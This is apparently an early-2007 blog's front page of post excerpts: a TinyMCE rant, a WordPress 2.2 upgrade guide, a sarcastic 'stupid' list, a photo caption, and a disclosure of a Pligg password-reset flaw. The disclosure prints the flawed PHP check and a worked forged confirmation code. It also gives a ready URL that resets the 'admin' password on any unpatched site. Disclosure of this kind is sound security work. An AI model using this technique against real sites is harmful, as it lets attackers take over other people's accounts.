Life, Hacks, and Internet

Stupid:

• Use as much gasoline as possible.

• Let gas vapors spread around you.

• Get as close as you can and light a match.

Iraqi girl living next to Al Daura Oil Refinery in Baghdad pauses for a smile amongst jostling children. Author: Christiaan Briggs.

soap vs soap operas

funny, ironic, stupid.

The default WordPress wysiwyg writing tool, TinyMCE is a piece of shit. First, there’s the character escaping. I can’t upload and embed a god damn flash video (*.flv) because TinyMCE decides to escape and "correct" all the friggin code:

Then there’s the upload tool. It doesn’t generate valid code. It sends apostrophes instead of commas, then after saving the post, it changes the tag properties to UPERCASE! WTF man, XHTML 1.0 transitional asks for lowercase tag properties. Also, there is no width, height and alt for the img tag properties when uploading images. This is crucial to image SEO. Switching to …read more…

Warning: The following material is sexually explicit.
Exit now if you are under 18 years old!

On their mission to take down 9/11 conspiracy videos, YouTube forgot to erase this pornographic video. At the time of this post, the clip made it to the YouTube most popular list on page 4 with 16,385 views. Should YouTube expect a …read more…

Pligg is a Social Bookmarking Web 2.0 Content Management System based on the popular social news website Digg.com

A security flaw makes it possible to change the password of any user and log in.

VideoSift is Hacked! VideoSift is one of the largest (still small) websites that uses Pligg.

How it works:
To reinitialize a forgotten password, Pligg follows a classical process. A confirmation code is generated and sent by email to the concerned user mail box. The user has to follow the link containing the confirmation code and if the confirmation code is checked successfully, the password is reinitialized to a pre-defined value.

you can find a part of the source code in charge of this check below :

pligg_dir/libs/html1.php:

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function generateHash($plainText, $salt = null){
  if ($salt === null) { 
    $salt = substr(md5(uniqid(rand(), true)), 0, SALT_LENGTH);
  }
  else {
    $salt = substr($salt, 0, SALT_LENGTH); 
  }
  return $salt . sha1($salt . $plainText);
}

pligg_dir/login.php :

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$confirmationcode = $_GET["confirmationcode"];
if(generateHash($username, substr($confirmationcode, 0, SALT_LENGTH)) == $confirmationcode){
  $db->query('UPDATE `' . table_users . '` SET `user_pass` = "033700e5a7759d0663e33b18d6ca0dc2b572c20031b575750" WHERE `user_login`= "'.$username.'"');

Unfortunately you can easily generate, for a given username, a confirmation code that passes successfully the check on line 2 above.

Example:

salt = 123456789 and username = admin

we have:

sha1(123456789admin) = 1e2f566cbda0a9c855240bf21b8bae030404cad7

and thus:

$confirmationcode = 1234567891e2f566cbda0a9c855240bf21b8bae030404cad7

with the following URL you can reinitialize the user “admin” password:

http://www.domain.com/login.php?processlogin=4&username=admin&confirmationcode=1234567891e2f566cbda0a9c855240bf21b8bae030404cad7

Pligg Forum members have been notified about it via e-mail this morning. Most Pligg webmasters have’t signed up for the forum .
All Pligg websites I tried were vulnerable to this exploit. There is no commercial value for me, so don’t worry, administrators have been notified that it’s time to patch.

As you might know, today WordPress version 2.2 has been released.

After reading the changelog, I decided to upgrade pufone.org blog and also write a guide with screenshots. Who knows this might help some of you out there. Here is how I upgraded from WordPress 2.1.3 to WordPress 2.2:

First, i downloaded WordPress 2.2.
Then i begun the backup. The backup process consists of two parts:

• The MySQL backup

I backed up my WordPress database using phpMyAdmin, if you don’t have it installed, you might want to read this tutorial. (half way down the page)
To do this you first need to …read more…